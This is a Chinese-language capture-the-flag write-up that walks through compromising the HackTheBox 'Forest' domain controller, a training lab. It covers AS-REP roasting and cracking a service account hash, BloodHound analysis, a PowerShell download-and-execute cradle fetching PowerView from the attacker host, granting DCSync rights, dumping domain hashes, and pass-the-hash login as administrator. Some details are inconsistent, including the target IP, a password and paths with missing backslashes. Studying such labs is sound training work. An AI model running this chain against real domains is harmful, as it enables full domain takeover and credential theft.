靶机信息
靶机地址:
https://app.hackthebox.com/machines/Forest
靶场: HackTheBox.com
靶机名称: Forest
难度: 简单
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:Manjaro 10.10.16.3
靶机:10.10.10.239
信息收集
扫描端口
扫描靶机开放的服务端口
sudo nmap -p- -T4 -sS 10.10.10.161
扫描到多个端口,挑一些重要端口做个详细扫描
sudo nmap -sC -sV -p 53,88,139,445,593,3268 10.10.10.161 -oN nmap.log
从端口扫描的信息中搜集到一些信息,可以看出是这是一台域控主机,445端口上发现系统版本为Windows Server2016的14393版本,还有域名htb.local和主机名FOREST。继续深入探测信息
DNS信息收集
dig @10.10.10.161 htb.local
dig @10.10.10.161 FOREST.htb.local
dig axfr @10.10.10.161 htb.local
没有发现可利用的信息,再来看看445端口
SMB服务信息收集
smbmap -H 10.10.10.161
smbclient -N -L 10.10.10.161
未发现共享目录,再来枚举用户
rpcclient -U "" -N 10.10.10.161
enumdomusers
发现大量用户账号,尝试使用GetNPUsers.py验证哪些用户不需要密码即可拿到TGT票据
域渗透
先将账号名提取出来(这里我使用NotePad++直接替换加正则“](.)+”来匹配“]"后面的全部内容)
整理出来用户名后直接使用GetNPUsers.py脚本获取TGT票据
GetNPUsers.py htb.local/ -usersfile username.txt -dc-ip 10.10.10.161
拿到svc-alfresco用户的票据,将票据保存下来尝试暴破密码
echo '$krb5asrep$23$svc-alfresco@HTB:ea501fdbf981a4fde7c609b94c83be67$79a4cad466c100a2b4cf8fb18ca617da493d2061b03acf19858b058189e2f980cdd0a336a2268ae39c83aee7c33dc37c28621851316af2210b5fe42b3af307f0af35bbd4b658c9cf13ee651a4d19e5933f699774e98b35bde7d8a9dd4398d9307074fb8db9dad719b4001417ee3893b5924d6d87f34d703af28b84d60f91558ec36492a18b80249e45ed3b0984fc67a9ff1ef370af51b5de824f12c6382cbd3468c4f7fe1d7c05a6892dd590d32ce20dd1d4565572380897d0f7be97373e11e7c1ab39e1e5407d380fa2f6f17f89509cc2df6a4f1dc02838eef89b1422d86171' >svc-alfresco-hash.txt
开始暴破
john svc-alfresco-hash.txt -w=../../Dict/rockyou.txt
拿到密码,尝试登录WinRM
svc-alfresco -p s3rvice
登录成功
cd ../Desktop
type user.txt
在svc-alfresco用户的桌面上找到flag,继续搜集
BloodHOund收集信息
BloodHound是一个公共且免费的工具,它使用图形理论来自动化的在Active Directory环境中搞清楚大部分人员的关系和细节。你的团队可以使用BloodHound快速深入了解AD的一些用户关系,了解哪些用户具有管理员权限,哪些用户有权对任何计算机都拥有管理权限,以及有效的用户组成员信息。
下载地址:
https://github.com/BloodHoundAD/BloodHound/releases/tag/4.2.0
启动Neo4j服务
sudo neo4j start
启动后访问本地7474端口
http://localhost:7474
填写默认账号密码neo4j登录
首次登录会提示修改密码,修改后在终端上输入bloodhound
在弹出窗口中输入默认账号neo4j和刚修改过的密码即可登录,现在还需要向靶机收集信息可以使用bloodhound提供的sharphound,
python3 -m pip install bloodhound
~/.local/bin/bloodhound-python -usvc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161 -c ALL
收集后会在当前目录下生成几个json文件,将json导入到bloodhound中(直接拖进去)
提示上传成功
从上图可以看出
svc-alfresco用户在SERVICE ACCOUNTS组中
SERVICE ACCOUNTS是PRIVILEGED IT ACCOUNTS组的成员
PRIVILEGED IT ACCOUNTS又属于ACCOUNT OPERATORS组
而 Account Operators 组对 Exchange Windows Permissions 组拥有 Generic All (所有权限)
Exchange Windows Permissions 组中用户可以对域进行DCSync(DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据)
所以当前用户svc-alfresco拥有 Exchange Windows Permissions 组权限,再通过DCSync拿到域用户密码hash值
右键点击WriteDacl在弹出菜单中点击Help,弹出窗口提示可以为自己授予DCSync权限,并列出操作步骤。
按照提示来操作
1。创建账号并添加到Exchange Windows Permissions组
net user kkk kkk123! /add /domain
net group "Exchange Windows Permissions" kkk /add /domain
2。上传PowerView.ps1脚本授予DCSync权限
脚本下载地址
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
将PowerSploit克隆到攻击机上,并在PowerView.ps1目录下开启HTTP服务
python3 -m http.server
靶机下载PowerView.ps1脚本,并执行攻击(截图中顺序有错误是因为网络卡顿重新登录winrm后没有重再次加载PowerView.ps1)
iex(New-Object Net.webclient).downloadstring('http://10.10.16.3:8000/powerview.ps1')
$Password = ConvertTo-SecureString 'kkk@123!' -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ('HTBkkk', $Password)
Add-DomainObjectAcl -Credential $Credential -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity kkk -Rights DCSync
添加完权限后,在攻击机上使用Impacket中的secretsdump.py脚本导出hash密码
secretsdump.py 'htb.local/kkk:[email protected]'
拿到administrator的hash值,使用Impacket中的wmiexec.py脚本登录靶机
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/[email protected]
登录成功,找一下flag
cd c:usersadministrator
tree /f
type Desktoproot.txt
拿到root.txt,游戏结束
原文始发于微信公众号(伏波路上学安全):渗透测试靶机练习No.118 HTB:Forest
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论